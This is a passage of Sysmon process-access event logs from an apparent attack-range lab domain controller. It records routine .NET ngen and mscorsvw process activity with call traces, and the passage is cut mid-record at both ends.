c.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.308","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010F7510C00}","TargetProcessId":"3468","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7184,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.308\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010F7510C00}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.308","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010F7510C00}","TargetProcessId":"3468","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7185,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.323\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010F7510C00}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.323","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010F7510C00}","TargetProcessId":"3468","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7186,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.400\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010F2A70B00}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.400","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010F2A70B00}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7187,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010F2A70B00}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010F2A70B00}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7188,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-00100C560C00}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-00100C560C00}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7189,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.480\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010F9590C00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.480","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010F9590C00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7190,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.480\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010F9590C00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.480","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010F9590C00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7191,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010F9590C00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 